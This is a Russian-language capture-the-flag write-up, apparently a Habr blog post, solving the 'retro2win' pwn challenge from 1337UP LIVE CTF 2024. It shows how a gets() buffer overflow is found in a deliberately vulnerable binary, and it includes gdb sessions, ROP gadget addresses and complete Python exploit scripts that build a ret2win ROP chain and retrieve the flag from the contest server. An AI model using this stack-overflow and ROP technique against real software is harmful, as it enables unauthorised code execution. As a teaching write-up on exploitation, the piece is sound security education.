Уважаемые дамы и господа, сегодня я представлю вам еще одно решение одного из челленджей с соревнования по кибербезопасности 1337UP LIVE CTF 2024. Данное задание кардинально отличается от того, что я описывал в предыдущей статье. Сложность в этом случае довольно таки высокая. Но, не будем откладывать дела на потом. Идем на страницу с челленджем и приступаем.
Как я уже говорил в предыдущей статье, для защиты от патчинга нам предоставляется удаленный сервер, где мы можем прокоммуницировать с программой. Скачав и распаковав архив, я увидел не только сам бинарник, но и docker инфраструктуру под него. Для запуска бинарника у нас нету никаких дополнительных зависимостей. Мне крайне не понятно зачем создатель челленджа решил обернуть это в docker контейнер. Файлик flag.txt
конечно же содержит в себе INTIGRITI{fake_flag}
tkchk@laptop:~/Downloads/retro2win$ tree . ├── challenge │ ├── Dockerfile │ ├── flag.txt │ └── retro2win ├── docker-compose.yml └── start.sh 2 directories, 5 files
❯ Знакомство с программой
tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option:
Вау, нам предлагают сыграть в игру. Имеем здесь 2 опиции — сходить в лес или подратся с драконом. Что же, пробуем обе.
tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option: 1 You are walking through a dark forest... I don't think there's any flags around here...
Так, в лесу флагов нет. Двигаем дальше
tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option: 2 You encounter a ferocious dragon! But it's too strong for you... Only if you had some kind of cheat...
Дракона мы тоже не смогли осилить, но нам предлагают где-то применить хитрость. За хитростями лезем в дизассемблер. Опять таки, я использую фришную версию Binary Ninja.
❯ Реверс
Наша main
выглядит вот так. Функция show_main_menu
нас явно не интересует. Через функцию __isoc99_scanf
мы считываем данные с консоли в переменную var_c
. Потом эта переменная присваивается rax_3
. А уже дальше мы видим кучу if
, которые зарулят программу в соответствии с тем, что мы ввели на консоль. Функции battle_dragon
и explore_forest
нас тоже не интересуют — там мы просто печатаем текст. А вот к фунции enter_cheatcode
мы доберемся только если введем 0x539
в терминал. Давайте копать это направление. 0x539
это десятичное 1337
. Ох и любят они этот leet. Ладно, пробуем циферку.
tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option: 1337 Enter your cheatcode: 123 Checking cheatcode: 123!
Нам предлагают ввести чит-код, но последующий вывод бесполезен. Давайте же глянем на эту функцию — может найдем там чего полезного.
Хм, здесь видим переменную buf
. На строке 0040080c
мы считываем наш ввод из консоли в этот буфер через функцию gets
. Данная функция является небезопасной поскольку она подвержена уязвимости типа buffer overflow. Любой современный компилятор будет на это жаловатся, если мы будем писать с ней нашу программу. Данная функция все еще существует только в целях обратной совместимости.
❯ Ломаем
Давайте пробовать overflow.
tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111! Segmentation fault (core dumped)
Надо же, сработало! Получаем Segmentation fault — программа крашнулась. Чтобы разобратся с тем, что там произошло, лезем в дебагер gdb
. Здесь я не ставил никаких брейкпоинтов. Просто запустил программу и привел ее в сломаное состояние. В таком случае,gdb
полностью сохраняет все переменные и регистры.
tkchk@laptop:~/Downloads/retro2win/challenge$ gdb retro2win GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) run Starting program: /home/tkchk/Downloads/retro2win/challenge/retro2win [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option: 1337 Enter your cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111! Program received signal SIGSEGV, Segmentation fault. 0x0000000000400829 in enter_cheatcode () (gdb) x/10xg $rsp 0x7fffffffdd58:0x31313131313131310x3131313131313131 0x7fffffffdd68:0x31313131313131310x3131313131313131 0x7fffffffdd78:0x31313131313131310x3131313131313131 0x7fffffffdd88:0x31313131313131310x3131313131313131 0x7fffffffdd98:0x31313131313131310x00007fffffff0031
Первым делом нам надо смотреть на стек. Что такое стек и как он устроен я подробно описывал во второй части цикла статей о взломе диска от Red Balloon Security. Комманда x/10xg $rsp
покажет нам десять 64-битных чисел с адреса из регистра rsp
— это наш stack pointer. И что же я здесь увидел? Переменная buf
переполнилась и мои единички (в hex виде) успешно смэшнули соержимое стека. На стеке хранится очень много полезных вещей: локальные переменные, предыдущие содержимые rbp
и, самое главное, адреса возвратов. Наша программа как раз таки крашнулась по той причине, что был перезаписан адрес возврата. Адрес 0x3131313131313131
ведет куда-то за пределы сегмента с исполняемым кодом. От сюда и ошибка сегментации. Перезаписав адрес возврата, мы можем с помощью нашего ввода зарулить программу на любой адрес. Но какой?
❯ Читерим
В поисках нужного места, куда должна будет вернутся программа, я наткнулся на функцию cheat_mode
. Функция полностью изолирована — к ней никак нельзя достучатся. Ни вызовов из main
, ни из других функций я не увидел. В ней мы как раз таки открываем файл с флагом и печатаем его на консоль. Но есть одна загвоздка — мы имеем проверку 2х аргументов. Значение первого должно быть 0x2323232323232323
, а второго 0x4242424242424242
. Это невероятно усложняет нашу задачу — мало того, что нам прийдется правильно рассчитать и заабьюзить адрес возврата, так мы еще и должны аргументы расставить.
Здесь я знатно так офигел. Сразу в голове промелькнула мысль — может заабьюзить адрес возврата так, чтоб он обошел эти проверки и сразу начал со строки CHEAT MODE ACTIVATED!
? Я взялся за эту попытку.
Наша cheat_mode
расположена по адресу 0x00400736
. И это, блин, чертовски не удобный адрес! Из-за 07 и null-байтов в этом адресе мы больше не можем использовать терминал для ввода данных. Все дальнейшие манипуляции с программой мы будем проводить исключительно через скрипты на python.
Для получения адреса, где мы обойдем эти проверки, смотрим на функцию в дизассемблированном виде. Нас интересует 0x0040076a
.
Чтобы правильно передать адрес возврата, нам необходимо также рассчитать заглушку. Это нужно по той простой причине, что функция gets
все таки рабочая, и какой-то кусочек нашего ввода правильно падает на стек перед тем как мы его переполним.
Для рассчетов нам необходимо найти рабочий адрес возврата на стеке. Давайте попробуем ввести какое-то значение чит-кода, которое не переполнит буфер. В функции enter_cheatcode
по адресу 0x0000000000400827
есть прекрасная инструкция nop
— как раз после считывания данных нашего ввода. На ней и поставим breakpoint.
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ gdb retro2win GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) disass enter_cheatcode Dump of assembler code for function enter_cheatcode: 0x00000000004007ee <+0>:push rbp 0x00000000004007ef <+1>:mov rbp,rsp 0x00000000004007f2 <+4>:sub rsp,0x10 0x00000000004007f6 <+8>:mov edi,0x400a99 0x00000000004007fb <+13>:call 0x4005a0 <puts@plt> 0x0000000000400800 <+18>:lea rax,[rbp-0x10] 0x0000000000400804 <+22>:mov rdi,rax 0x0000000000400807 <+25>:mov eax,0x0 0x000000000040080c <+30>:call 0x400600 <gets@plt> 0x0000000000400811 <+35>:lea rax,[rbp-0x10] 0x0000000000400815 <+39>:mov rsi,rax 0x0000000000400818 <+42>:mov edi,0x400aaf 0x000000000040081d <+47>:mov eax,0x0 0x0000000000400822 <+52>:call 0x4005c0 <printf@plt> 0x0000000000400827 <+57>:nop 0x0000000000400828 <+58>:leave 0x0000000000400829 <+59>:ret End of assembler dump. (gdb) break *0x0000000000400827 Breakpoint 1 at 0x400827 (gdb) run Starting program: /home/tkchk/Documents/pwn/retro2win/challenge/retro2win [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ***************************** * Retro2Win Game * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit Select an option: 1337 Enter your cheatcode: 11111111 Checking cheatcode: 11111111! Breakpoint 1, 0x0000000000400827 in enter_cheatcode () (gdb) x/10xg $rsp 0x7fffffffdd20:0x31313131313131310x0000000000000000 0x7fffffffdd30:0x00007fffffffdd500x0000000000400939 0x7fffffffdd40:0x00007fffffffde300x00000539ffffde78 0x7fffffffdd50:0x00007fffffffddf00x00007ffff7c2a1ca 0x7fffffffdd60:0x00007fffffffdda00x00007fffffffde78
Смотрим на стек через x/10xg $rsp
. Значение 0x0000000000400939
и есть наш рабочий адрес возврата — оно ведет на функцию main
как раз после вызова enter_cheatcode
. Перед этим адресом возврата мы видим три 8-ми байтных числа. Нам также видны наши введенные единицы. Что же, 3*8=24. 24 байта и есть наш искомый размер заглушки.
Для локального взлома я использовал библиотеку pexpect. Нам всего то нужно заспавнить процесс бинарника, и как-то отреагировать на то, что он нам шлет. После фразы Enter your cheatcode:
мы шлем наш payload. Адрес, куда должна будет вернутся программа я написал в обратном порядке байт из-за little endian архитектуры. Создаем файлик pwn.py
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ cat pwn.py import pexpect child = pexpect.spawn('./retro2win') child.expect('Select an option:') child.sendline ('1337') child.expect('Enter your cheatcode:') child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\x6a\x07\x40\x00\x00\x00\x00\x00') print(child.before) child.interact()
И, блин, оно сработало — я успешно получил нужные строки, но к большому сожалению, флага я не увидел.
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ python3 pwn.py b'\r\n1337\r\n' AAAAAAAAAAAAAAAAAAAAAAAAj^G@^@^@^@^@^@ Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAAj@! CHEAT MODE ACTIVATED! You now have access to secret developer tools...
Здесь я понял, что являюсь полным бараном. Во-первых, это не должно так просто решатся, а во-вторых, я совсем забыл о такой важной вещи как Function Prologue. Function Prologue делает подготовку стека для нормальной работы функции, и если мы не сделаем эту подготовку, результат может быть непредсказуемым. Дабы глянуть почему мы не печатаем флаг, я б запустил дебагер, но мы здесь работаем через скрипты на python — как добится в таком случае нормального дебага мне не понятно. Наверное, решения есть. В общем, вот эти три инструкции обязательно должны отработать, иначе мы получим полурабочую функцию.
В итоге, у нас получилась довольно печальная картина — эту проверку аргументов мы никак не можем обойти.
Короче, копался я с этим несколько часов, и в итоге нашел вот эту прекрасную статью о Return Oriented Programming. Там в разделе «2nd ROP Chain» описывается мой случай — возврат на функцию с аргументами. Также речь идет о ROP гаджетах. ROP гаджеты — это мелкие кусочки исполняемого кода от системных или библиотечных функций. Нам нужны гаджеты с инструкциями pop
и последующим return
. Через pop
мы снимем значения со стека (а он у нас под контролем) и расставим аргументы в регистры, а через return
мы снова прыгнем на значение из вершины стека. Если мы все правильно рассчитаем, мы сможем пройтись по коду гаджетов для расстановки аргументов в регистры и потом прыгнем на наш cheat_mode
. Как раз из-за того, что мы несколько раз тригернем return
, ROP Chain и называется ROP Chain’ом — это цепочка возвратов. На этой картинке показано примерное виденье того, как будет выглядеть наш стек после того, как мы его заабьюзим (пример с другого сайта).
А теперь давайте найдем гаджеты. Главное, что они должны уметь, это расставлять данные со стека в регистры для аргументов. По правилам передачи аргументов в x86, первый и второй аргумент расставляются в регистры rsi
& rdi
. Для поиска подобных вещей есть куча готовых решений. Я использовал собраный на rustе ropr.
tkchk@laptop:~/Downloads/retro2win/challenge$ ropr retro2win | grep pop\ rsi ==> Found 99 gadgets in 0.009 seconds 0x004009b1: pop rsi; pop r15; ret; tkchk@laptop:~/Downloads/retro2win/challenge$ ropr retro2win | grep pop\ rdi ==> Found 99 gadgets in 0.010 seconds 0x004009b3: pop rdi; ret;
Нашли аж целых 99 штук, но нас интересуют инструкции pop rsi
& pop rdi
. Здесь стоит обратить внимание на лишний pop r15
. Избавится от него мы никак не можем — это обязывает нас увеличить вводимые данные на этапе ввода аргумента 0x4242424242424242
. У нас 64-х битная архитектура — увеличим на 8 рандомных байт. Сохраняем адреса себе в блокнотик.
❯ Финалочка
Итого, нам надо будет ввести:
-
Заглушку в 24 байта
-
Адрес второго гаджета
0x00000000004009b3
-
Первый аргумент
0x2323232323232323
-
Адрес первого гаджета
0x00000000004009b1
-
Второй аргумент
0x4242424242424242
-
8-ми байтовая заглушка
-
Адрес
cheat_mode
0x0000000000400736
-
Символ новой строки
0x0a
Дорабатываем pwn.py
.
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ cat pwn.py import pexpect child = pexpect.spawn('./retro2win') child.expect('Select an option:') child.sendline ('1337') child.expect('Enter your cheatcode:') child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x09\x40\x00\x00\x00\x00\x00\x23\x23\x23\x23\x23\x23\x23\x23\xb1\x09\x40\x00\x00\x00\x00\x00\x42\x42\x42\x42\x42\x42\x42\x42AAAAAAAA\x36\x07\x40\x00\x00\x00\x00\x00\x0a') print(child.before) child.interact()
Итак, дамы и господа, у нас все получилось! Мы видим флаг.
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ python3 pwn.py b'\r\n1337\r\n' AAAAAAAAAAAAAAAAAAAAAAAA�@^@^@^@^@^@########�@^@^@^@^@^@BBBBBBBBAAAAAAAA6^G@^@^@^@^@^@ Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA�@! CHEAT MODE ACTIVATED! You now have access to secret developer tools... FLAG: INTIGRITI{fake_flag}
Для получения реального флага нам остается мелочь — переработать скрипт для работы с сокетом. Теперь делаем net.py
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ cat net.py import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('retro2win.ctf.intigriti.io', 1338)) response = s.recv(4096) s.sendall(b'1337\n') response = s.recv(4096) s.sendall(b'AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x09\x40\x00\x00\x00\x00\x00\x23\x23\x23\x23\x23\x23\x23\x23\xb1\x09\x40\x00\x00\x00\x00\x00\x42\x42\x42\x42\x42\x42\x42\x42AAAAAAAA\x36\x07\x40\x00\x00\x00\x00\x00\x0a') response = s.recv(4096) print(response)
Запускаем, попутно заменяя все пробелы на новые строки (это чисто для удобства):
tkchk@laptop:~/Documents/pwn/retro2win/challenge$ python3 net.py | sed 's/ /\n/g' b'Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA\xb3\t@!\r\nCHEAT MODE ACTIVATED!\r\nYou now have access to secret developer tools...\r\n\r\nFLAG: INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}\r\n'
Флаг мы видим в конце списка. Друзья, мы решили челлендж. Как я уже говорил, данное решение далось мне с большим трудом, но все таки я его осилил. Ставьте лайки и пишите комментарии. До встречи в сети!
Новости, обзоры продуктов и конкурсы от команды Timeweb.Cloud — в нашем Telegram-канале ↩
📚 Читайте также:
ссылка на оригинал статьи https://habr.com/ru/articles/861638/
Добавить комментарий